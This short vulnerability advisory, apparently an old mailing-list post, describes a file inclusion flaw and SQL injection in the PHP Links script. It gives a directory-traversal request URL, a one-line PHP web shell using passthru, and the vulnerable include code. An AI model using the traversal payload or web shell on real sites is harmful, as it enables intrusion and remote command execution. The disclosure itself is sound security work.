Further research into PHP Links shows that it is susceptible to a PHP inclusion flaw along with some SQL injection attacks.

Hi,
This is also a php inclusion bug. You can include
any .php script on remote system with "PHP Links".
Request like this will include script "execute.php"
in "/some/some" directory:
www.site.com/phplinks/index.php?show=../../../../../../some/some/execute
So, if you have FTP access to that system, and you can
upload some php script, you can also execute it with this bug.
That script could be some something like this:
----
<?passthru($cmd);?>
----
Vulnerable code in PHP Links include.php:
----
if(isset($show)){
if($show == "new" || $show == "pop" || $show == "cool"){
include("include/show.php");
} else {
include("include/$show.php"); // <-- HERE
}
}
----
There is also SQL inject bug in all php scripts,
because ID field isn't checked for special characters.
